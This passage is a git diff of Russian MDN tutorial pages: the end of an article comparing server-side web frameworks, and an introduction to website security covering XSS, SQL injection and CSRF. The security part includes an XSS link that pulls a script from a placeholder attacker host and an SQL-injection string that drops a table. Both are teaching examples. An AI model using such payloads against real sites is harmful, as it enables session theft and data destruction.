+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Как_выбрать_веб-фреймворк"><span class="tlid-translation translation" lang="ru"><span title="">Как выбрать веб-фреймворк</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Многочисленные веб-фреймворки существуют практически для каждого языка программирования, который вы, возможно, захотите использовать (мы перечислим несколько наиболее популярных фреймворков в следующем разделе).</span> <span title="">При таком большом количестве вариантов может оказаться затруднительным определить, какой фреймворк обеспечивает лучшую отправную точку для вашего нового веб-приложения.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Вот некоторые из факторов, которые могут повлиять на ваше решение:</span></span></p>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Усилия для изучения:</strong> усилия по изучению веб-фреймворка зависят от того, насколько вы знакомы с базовым языком программирования, последовательностью его API, качеством документации, а также размером и активностью поддерживающего его сообщества.</span> <span title="">Если вы начинаете без какого бы то ни было опыта программирования, подумайте о Django (это один из самых простых способов изучения на основе вышеуказанных критериев).</span> <span title="">Если вы являетесь частью команды разработчиков, которая уже имеет значительный опыт работы с определённым веб-фреймворком или языком программирования, то имеет смысл остановиться на используемом.</span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Производительность:</strong> Производительность — это показатель того, насколько быстро вы можете создавать новые функции, когда вы знакомы с платформой, и включает в себя как усилия по написанию, так и по обслуживанию кода (поскольку вы не можете писать новые функции, пока старые не работают).</span> <span title="">Многие из факторов, влияющих на производительность, аналогичны тем, которые используются для «Усилий по обучению» — например,</span> <span title="">документация, сообщество, опыт программирования и т. д. — другие факторы включают в себя:</span></span>
+  <ul>
+   <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Назначение / происхождение фреймворка: </em>Некоторые веб-фреймворки изначально создавались для решения определённых типов проблем и работают лучше при создании веб-приложений с аналогичными ограничениями.</span> <span title="">Например, Django был создан для поддержки разработки газетного веб-сайта, поэтому он хорош для блогов и других сайтов, связанных с публикацией материалов.</span> <span title="">Flask, напротив, является гораздо более лёгкой средой и отлично подходит для создания веб-приложений, работающих на встроенных устройствах.</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Основанный на мнении сообщества против не имеющего мнения.</em> Фреймворк, основанный на мнении — это тот, в котором рекомендованы «лучшие» способы решения конкретной проблемы.</span> <span title="">Такие фреймворки, как правило, более продуктивны, когда вы пытаетесь решить общие проблемы, потому что они ведут вас в правильном направлении, однако иногда они менее гибки.</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Всё включено против разбирайтесь сами</em>: некоторые веб-фреймворки включают в себя инструменты / библиотеки, которые решают каждую проблему, которую их разработчики могут считать «по умолчанию», в то время как более лёгкие фреймворки ожидают, что веб-разработчики будут выбирать решение проблем из отдельных библиотек (например, Django</span> <span title="">из первых, в то время как Flask является примером очень лёгкого каркаса).</span> Начать работу с <span title="">фреймворками, которые включают в себя всё, часто легче, потому что «из коробки» у вас уже есть всё, что вам нужно, и есть вероятность, что они хорошо интегрированы и хорошо документированы.</span> <span title="">Однако, если меньший фреймворк имеет всё, что вам (когда-либо) понадобится, он может работать в более стеснённых условиях и будет иметь меньший и более простой набор вещей для изучения.</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title=""><em>Поощряет ли платформа хорошие практики разработки или нет: </em>например, фреймворк, который поощряет архитектуру Model-View-Controller, разделяющую код на логические функции, приведёт к более поддерживаемому коду, чем тот, который не ожидает этого от разработчиков.</span> <span title="">Аналогично дизайн фреймворка может оказать большое влияние на то, насколько легко тестировать и повторно использовать код.</span></span></li>
+  </ul>
+ </li>
+ <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Производительность фреймворка / языка программирования:</strong> Обычно «скорость» не является самым значимым критерием при выборе, потому что даже относительно медленные среды выполнения, такие как Python, более чем «достаточно хороши» для сайтов среднего размера, работающих на умеренном оборудовании.</span> <span title="">Ожидаемым плюсам скорости другого языка, например</span> <span title="">C++ или JavaScript, могут быть противопоставлены минусы в виде затрат на его изучение и обслуживание. </span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Поддержка кэширования:</strong> По мере того, как ваш сайт становится более успешным, вы можете столкнуться с тем, что он больше не справляется с количеством запросов, которые получает, когда пользователи им пользуются.</span> <span title="">На этом этапе вы можете рассмотреть возможность добавления поддержки кеширования.</span> <span title="">Кэширование — это оптимизация, при которой вы сохраняете весь веб-ответ или его часть так, чтобы его не нужно было пересчитывать при последующих запросах.</span> <span title="">Возврат кэшированного ответа гораздо быстрее, чем его вычисление.</span> <span title="">Кэширование может быть реализовано в вашем коде или на сервере (см. <a href="https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D1%8B%D0%B9_%D0%BF%D1%80%D0%BE%D0%BA%D1%81%D0%B8">обратный прокси</a>).</span> <span title="">Веб-фреймворки будут иметь разные уровни поддержки для определения того, какой контент можно кэшировать.</span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Масштабируемость.</strong> Как только ваш веб-сайт станет фантастически успешным, вы исчерпаете преимущества кэширования и даже достигнете пределов <em>вертикального масштабирования</em> (запуска веб-приложения на более мощном оборудовании).</span> <span title="">На этом этапе вам может потребоваться <em>масштабировать горизонтально</em> (разделить нагрузку, распределяя ваш сайт между несколькими веб-серверами и базами данных) или масштабировать «географически», потому что некоторые из ваших клиентов находятся далеко от вашего сервера.</span> <span title="">Веб-фреймворк, который вы выберете, может существенно повлиять на то, насколько легко масштабировать ваш сайт.</span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Веб-безопасность.</strong> Некоторые веб-фреймворки предоставляют лучшую поддержку для обработки распространённых веб-атак.</span> <span title="">Например, Django очищает весь пользовательский ввод от HTML-шаблонов, чтобы введённый пользователем JavaScript не мог быть запущен.</span> <span title="">Другие платформы предоставляют аналогичную защиту, но она не всегда включена по умолчанию.</span></span></li>
+</ul>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Существует также много других возможных влияющих факторов, включая вопросы лицензирования, зависимость от того, находится ли фреймворк в процессе активной разработки и т. д.</span><br>
+ <br>
+ <span title="">Если вы абсолютный новичок в программировании, вы, вероятно, выберете свою среду на основе «простоты обучения».</span> <span title="">В дополнение к «простоте использования» самого языка, ваши самые ценные ресурсы — это высококачественная документация / учебные пособия и активное сообщество, помогающее новым пользователям.</span> <span title="">Мы выбрали <a href="https://www.djangoproject.com/">Django</a> (Python) и <a href="http://expressjs.com/">Express</a> (Node/JavaScript) для написания наших примеров далее в курсе, главным образом потому, что они просты в освоении и имеют хорошую поддержку.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>На заметку:</strong> Давайте перейдём к основным веб-сайтам для <a href="https://www.djangoproject.com/">Django</a> (Python) и <a href="http://expressjs.com/">Express</a> (Node/JavaScript) и ознакомимся с их документацией и сообществом.</span></span></p>
+
+<ol>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Перейдите к основным сайтам (ссылки выше)</span></span>
+
+  <ul>
+   <li><span class="tlid-translation translation" lang="ru"><span title="">Нажмите на ссылки меню «Документация» (такие вещи, как «Документация, Руководство, Справочник по API, Начало работы»).</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title="">Можете ли вы увидеть темы, показывающие, как настроить маршрутизацию URL, шаблоны и базы данных / модели?</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title="">Понятны ли эти документы?</span></span></li>
+  </ul>
+ </li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Перейдите к спискам рассылки для каждого сайта (доступно по ссылкам сообщества).</span></span>
+  <ul>
+   <li><span class="tlid-translation translation" lang="ru"><span title="">Сколько вопросов было опубликовано за последние несколько дней?</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title="">У скольких есть ответы?</span></span></li>
+   <li><span class="tlid-translation translation" lang="ru"><span title="">Есть ли у них активное сообщество?</span></span></li>
+  </ul>
+ </li>
+</ol>
+</div>
+
+<h2 id="Несколько_хороших_веб-фреймворков"><span class="tlid-translation translation" lang="ru"><span title="">Несколько хороших веб-фреймворков?</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Давайте продолжим и обсудим несколько конкретных серверных веб-фреймворков.</span><br>
+ <br>
+ <span title="">Фреймворки на стороне сервера, представленные ниже, представляют собой несколько самых популярных из доступных на момент написания.</span> <span title="">Все они имеют всё, что вам нужно для продуктивной работы </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> они с открытым исходным кодом, находятся в процессе активной разработки, имеют полные энтузиазма сообщества, создающие документацию и помогающие пользователям на форумах, и используются на большом количестве выдающихся веб-сайтов.</span> <span title="">Существует также много других замечательных серверных фреймворков, которые вы можете найти с помощью обычного поиска в Интернете.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>На заметку:</strong> Описания взяты (частично) с веб-сайтов фреймворка!</span></span></p>
+</div>
+
+<h3 id="Django_Python">Django (Python)</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title=""><a href="https://www.djangoproject.com/">Django</a> </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> это веб-фреймворк высокого уровня на языке Python, который способствует быстрой разработке и чистому, прагматичному дизайну.</span> <span title="">Созданный опытными разработчиками, он берёт на себя большую часть хлопот веб-разработки, поэтому вы можете сосредоточиться на написании своего приложения без необходимости заново изобретать велосипед.</span> <span title="">Он бесплатен для использования и имеет открытый исходный код.</span><br>
+ <br>
+ <span title="">Django следует философии «Всё включено» и предоставляет практически всё, что большинство разработчиков может пожелать «из коробки».</span> <span title="">Поскольку всё включено, всё работает вместе, следует последовательным принципам проектирования и имеет обширную и актуальную документацию.</span> <span title="">Он также быстр, безопасен и очень масштабируем.</span> <span title="">Основанный на Python, код Django легко читать и поддерживать.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Популярные сайты, использующие Django (с домашней страницы Django), включают в себя: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</span></span></p>
+
+<h3 id="Flask_Python">Flask (Python)</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title=""><a href="http://flask.pocoo.org/">Flask</a> </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> это микрофреймворк для Python.</span><br>
+ <br>
+ <span title="">И хотя Flask минималистичен, он может создавать серьезные веб-сайты из коробки.</span> <span title="">Он содержит сервер разработки и отладчик, а также поддерживает шаблоны <a href="https://github.com/pallets/jinja">Jinja2</a>, безопасные файлы cookie, <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">модульное тестирование</a> и диспетчеризацию запросов <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>.</span> <span title="">У него хорошая документация и активное сообщество.</span></span></p>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Flask стал чрезвычайно популярным, особенно для разработчиков, которым необходимо предоставлять веб-сервисы в небольших системах с ограниченными ресурсами (например, запуск веб-сервера на <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="https://www.raspberrypi.org/">контроллеры Drone</a> и т. п.)</span></span>.</p>
+
+<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3>
+
+<p><a href="http://expressjs.com/">Express</a> — быстрый, непринуждённый, гибкий и минималистский веб-фреймворк для <a href="https://nodejs.org/en/">Node.js</a> (node — это серверная среда для запуска JavaScript). Он обеспечивает надёжный набор функций для веб и мобильных приложений и предоставляет полезные HTTP-утилиты и <a href="/en-US/docs/Glossary/Middleware">middleware</a> (промежуточные интерфейсы).</p>
+
+<p><span class="tlid-translation translation" lang="ru">Express чрезвычайно популярен, частично потому, что он облегчает миграцию клиентских веб-программистов JavaScript в разработку на стороне сервера, а частично потому, что он ресурсоэффективен (базовая среда узлов использует легкую многозадачность в потоке, а не порождает отдельные процессы для каждого новый веб-запрос).<br>
+ <br>
+ Поскольку Express является минималистской веб-инфраструктурой, он не включает в себя все компоненты, которые вы, возможно, захотите использовать (например, доступ к базе данных и поддержка пользователей и сеансов предоставляются через независимые библиотеки). Есть много отличных независимых компонентов, но иногда бывает сложно решить, какой из них лучше всего подходит для конкретной цели!<br>
+ <br>
+ Многие популярные серверные и полные стеки (включая серверные и клиентские) основаны на Express, включая Feathers, ItemsAPI, KeystoneJS, Kraken, LEAN-STACK, LoopBack, MEAN и Sails.<br>
+ <br>
+ Многие крупные компании используют Express, в том числе: Uber, Accenture, IBM и т. Д. (Список приведен здесь).</span></p>
+
+<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Rails (обычно называемый «Ruby on Rails») - это веб-фреймворк, написанный для языка программирования Ruby.</span><br>
+ <br>
+ <span title="">Rails следует очень похожей философии дизайна на Django.</span> <span title="">Как и Django, он предоставляет стандартные механизмы для маршрутизации URL, доступа к данным из базы данных, генерации HTML из шаблонов и форматирования данных как {{glossary ("JSON")}} или {{glossary ("XML")}}.</span> <span title="">Точно так же поощряется использование шаблонов проектирования, таких как DRY («не повторяйте себя» - пишите код только один раз, если это возможно), MVC (модель-представление-контроллер) и ряд других.</span><br>
+ <br>
+ <span title="">Конечно, есть много различий, связанных с конкретными проектными решениями и характером языков.</span><br>
+ <br>
+ <span title="">Rails использовался для крупных сайтов, в том числе: Basecamp, GitHub, Shopify, Airbnb, Twitch, SoundCloud, Hulu, Zendesk, Square, Highrise.</span></span></p>
+
+<h3 id="ASP.NET">ASP.NET</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">ASP.NET - это веб-инфраструктура с открытым исходным кодом, разработанная Microsoft для создания современных веб-приложений и сервисов.</span> <span title="">С ASP.NET вы можете быстро создавать веб-сайты на основе HTML, CSS и JavaScript, масштабировать их для использования миллионами пользователей и легко добавлять более сложные возможности, такие как веб-API, формы поверх данных или коммуникации в режиме реального времени.</span><br>
+ <br>
+ <span title="">Одним из отличий для ASP.NET является то, что он построен на Common Language Runtime (CLR), что позволяет программистам писать код ASP.NET с использованием любого поддерживаемого языка .NET (C #, Visual Basic и т. д.).</span> <span title="">Как и многие продукты Microsoft, он обладает отличными инструментами (часто бесплатными), активным сообществом разработчиков и хорошо написанной документацией.</span><br>
+ <br>
+ <span title="">ASP.NET используется Microsoft, Xbox.com, Stack Overflow и многими другими.</span></span></p>
+
+<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3>
+
+<p><span class="tlid-translation translation" lang="ru">Mojolicious - это веб-фреймворк следующего поколения для языка программирования Perl.<br>
+ <br>
+ Еще в первые дни Интернета многие люди изучали Perl из-за замечательной библиотеки Perl под названием CGI. Это было достаточно просто, чтобы начать, не зная много о языке и достаточно мощный, чтобы держать вас в курсе. Mojolicious реализует эту идею, используя новейшие технологии.<br>
+ <br>
+ Некоторые из функций, предоставляемых Mojolicious: веб-инфраструктура в режиме реального времени, позволяющая легко превращать отдельные файловые прототипы в хорошо структурированные веб-приложения MVC; RESTful маршруты, плагины, команды, шаблоны Perl-ish, согласование контента, управление сеансами, проверка форм, структура тестирования, статический файловый сервер, обнаружение CGI / PSGI, поддержка Unicode первого класса; Реализация полного стека HTTP и WebSocket клиент / сервер с IPv6, TLS, SNI, IDNA, HTTP / SOCKS5 прокси, сокет домена UNIX, Comet (длинный опрос), поддержка активности, пул соединений, тайм-аут, cookie, поддержка нескольких частей и сжатия gzip; Парсеры и генераторы JSON и HTML / XML с поддержкой селекторов CSS; Очень чистый, портативный и объектно-ориентированный чистый Perl API без скрытой магии; Свежий код, основанный на многолетнем опыте, бесплатный и открытый исходный код.</span></p>
+
+<h2 id="Резюме"><span class="tlid-translation translation" lang="ru"><span title="">Резюме</span></span></h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Эта статья показала, что веб-фреймворки могут упростить разработку и поддержку кода на стороне сервера.</span> <span title="">Он также предоставил общий обзор нескольких популярных платформ и обсудил критерии выбора платформы веб-приложений.</span> <span title="">Теперь у вас должно быть хотя бы представление о том, как выбрать веб-фреймворк для собственной разработки на стороне сервера.</span> <span title="">Если нет, то не беспокойтесь - позже в курсе мы дадим вам подробные учебники по Django и Express, чтобы дать вам некоторый опыт работы с веб-фреймворком.</span> </span></p>
+
+<p>Для следующей статьи в этом модуле мы немного изменим направление и рассмотрим веб-безопасность.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p>
+
+<h2 id="В_этом_модуле">В этом модуле</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li>
+</ul>
+
+<div id="gtx-anchor" style="position: absolute; left: 170px; top: 2836px; width: 297px; height: 17px;"></div>
+
+<div class="jfk-bubble gtx-bubble">
+<div class="jfk-bubble-content-id" id="bubble-18">
+<div id="gtx-host" style="max-width: 400px;"></div>
+</div>
+
+<div class="jfk-bubble-closebtn-id jfk-bubble-closebtn"></div>
+
+<div class="jfk-bubble-arrow-id jfk-bubble-arrow jfk-bubble-arrowup" style="left: 128.5px;">
+<div class="jfk-bubble-arrowimplbefore"></div>
+
+<div class="jfk-bubble-arrowimplafter"></div>
+</div>
+</div>
diff --git a/files/ru/learn/server-side/first_steps/веб_безопасность/index.html b/files/ru/learn/server-side/first_steps/веб_безопасность/index.html
new file mode 100644
index 0000000000..6caa9b2aa2
--- /dev/null
+++ b/files/ru/learn/server-side/first_steps/веб_безопасность/index.html
@@ -0,0 +1,169 @@
+---
+title: Веб-безопасность
+slug: Learn/Server-side/First_steps/Веб_Безопасность
+translation_of: Learn/Server-side/First_steps/Website_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить свое веб-приложение против наиболее распространенных атак.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Условия:</th>
+   <td>Элементарная компьютерная грамотность</td>
+  </tr>
+  <tr>
+   <th scope="row">Цель:</th>
+   <td>Понять самые распространенные угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Что_такое_безопасность_сайта">Что такое безопасность сайта?</h2>
+
+<p>Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение измененной (и часто поврежденной) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.</p>
+
+<p>Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: <em>способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.</em></p>
+
+<p>Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надежные и продуманные механизмы защиты от ряда наиболее распространенных атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.</p>
+
+<p>В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространенных угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>Это вводная статья, призванная помочь вам задуматься о безопасности веб-сайта, но она не является исчерпывающей.</p>
+</div>
+
+<h2 id="Угрозы_бесопасности_сайта">Угрозы бесопасности сайта</h2>
+
+<p>В этом разделе перечислены лишь некоторые из наиболее распространенных угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо <em>недостаточно параноидально</em> относится к данным, поступающим из браузера.</p>
+
+<h3 id="Межсайтовый_скриптинг_XSS">Межсайтовый скриптинг (XSS)</h3>
+
+<p>XSS (<em>Cross-Site Scripting</em> - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код <em>через</em> веб-сайт в браузеры других пользователей. Поскольку внедренный код поступает в браузер с сайта, он является <em>доверенным</em> и может выполнять такие действия, как отправка авторизационного файла <em>cookie</em>пользователя злоумышленнику. Когда у злоумышленника есть файл <em>cookie</em>, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Уязвимости XSS исторически встречались чаще, чем любые другие виды угроз безопасности.</p>
+</div>
+
+<p>Уязвимости XSS делятся на <em>отраженные</em> и <em>хранимые</em>, в зависимости от того, как сайт возвращает внедренный код в браузер.</p>
+
+<ul>
+ <li><em>Отраженная </em>XSS-уязвимость возникает, когда пользовательский контент, который передается на сервер, <em>немедленно</em> и <em>без изменений</em> возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) и перслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник  таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.</li>
+ <li>
+  <p><span class="tlid-translation translation" lang="ru">Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно.<br>
+   Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учетной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.<br>
+   <br>
+   Хотя данные из запросов POST или GET являются наиболее распространенным источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.<br>
+   <br>
+   Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как &lt;script&gt;, &lt;object&gt;, &lt;embed&gt; и &lt;link&gt;.<br>
+   <br>
+   Процесс изменения пользовательских данных, чтобы их нельзя было использовать для запуска сценариев или иным образом влиять на выполнение серверного кода, называется очисткой ввода. Многие веб-фреймворки автоматически очищают пользовательский ввод от HTML-форм по умолчанию.</span></p>
+ </li>
+</ul>
+
+<h3 id="SQL_injection">SQL injection</h3>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Уязвимости SQL-инъекций позволяют злоумышленникам выполнять произвольный код SQL в базе данных, позволяя получать, изменять или удалять данные независимо от разрешений пользователя.</span> <span title="">Успешная инъекционная атака может подделать удостоверения, создать новые удостоверения с правами администратора, получить доступ ко всем данным на сервере или уничтожить / изменить данные, чтобы сделать их непригодными для использования.</span><br>
+ <br>
+ <span title="">Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.</span><br>
+ <br>
+ <span title="">Эта уязвимость присутствует, если пользовательский ввод, который передается в базовый оператор SQL, может изменить смысл оператора.</span> <span title="">Например, следующий код предназначен для перечисления всех пользователей с определенным именем (userName), которое было предоставлено из формы HTML:</span></span></p>
+
+<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Если пользователь указывает реальное имя, оператор будет работать так, как задумано.</span> <span title="">Однако злонамеренный пользователь может полностью изменить поведение этого оператора SQL на новый оператор в следующем примере, просто указав текст полужирным шрифтом для userName.</span></span></p>
+
+<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>';
+</pre>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Модифицированный оператор создает действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе).</span> <span title="">Это работает, потому что первая часть введенного текста (a ';) завершает исходное утверждение.</span><br>
+ <br>
+ <span title="">Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса.</span> <span title="">Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Инструкция SQL обрабатывает символ ' как начало и конец строкового литерала.</span> <span title="">Поместив обратную косую черту перед этим символом (\ '), мы экранируем символ и говорим SQL вместо этого трактовать его как символ (только часть строки).</span></span></p>
+</div>
+
+<p>В следующей инструкции мы экранируем символ '. Теперь SQL будет интерпретировать имя как всю строку, выделенную жирным шрифтом (это действительно очень странное имя, но безопасное).</p>
+
+<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;
+
+</pre>
+
+<p>Веб-фремворки будут часто заботиться о зарезервированных символах для вас. Django, например, гарантирует, что любые пользовательские данные, передаваемые в наборы запросов (модельные запросы), будут экранируются.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>этот раздел в значительной степени основан на информации из <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia</a>.</p>
+</div>
+
+<h3 id="Подделка_межсайтовых_запросов_CSRF">Подделка межсайтовых запросов (CSRF)</h3>
+
+<p>CSRF-атаки позволяют злоумышленнику выполнять действия, используя учетные данные другого пользователя, без его ведома или согласия.</p>
+
+<p>Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определенный сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учетную запись, используя HTTP-запрос <code>POST</code>, который включает имя учетной записи и сумму денег. Джон создает форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет ее по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).</p>
+
+<p>Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос <code>POST</code>, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошел ли пользователь в систему и имеет ли разрешение на совершение транзакции.</p>
+
+<p>В результате любой пользователь, который нажимает кнопку <em>Отправить</em> во время входа на торговый сайт, совершает транзакцию. Джон становится богатым.</p>
+
+<div class="note">
+<p><strong>Примечание: </strong>Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учетным данным). Браузер пользователя сохраняет эту информацию и автоматически включает ее во все запросы к соответствующему серверу.</p>
+</div>
+
+<p>Один из способов предотвратить этот тип атаки - запросить сервером запросы <code>POST</code>, содержащие секрет, созданный пользователем для конкретного сайта. Секрет будет предоставлен сервером при отправке веб-формы, используемой для переводов. Такой подход не позволяет Джону создать свою собственную форму, потому что он должен знать секрет, который сервер предоставляет пользователю. Даже если он узнает секрет и создаст форму для конкретного пользователя, он больше не сможет использовать ту же форму для атаки на каждого пользователя.</p>
+
+<p>Веб-фреймворки часто включают такие механизмы предотвращения CSRF.</p>
+
+<h3 id="Прочие_угрозы">Прочие угрозы</h3>
+
+<p>Другие распространенные атаки / уязвимости включают:</p>
+
+<ul>
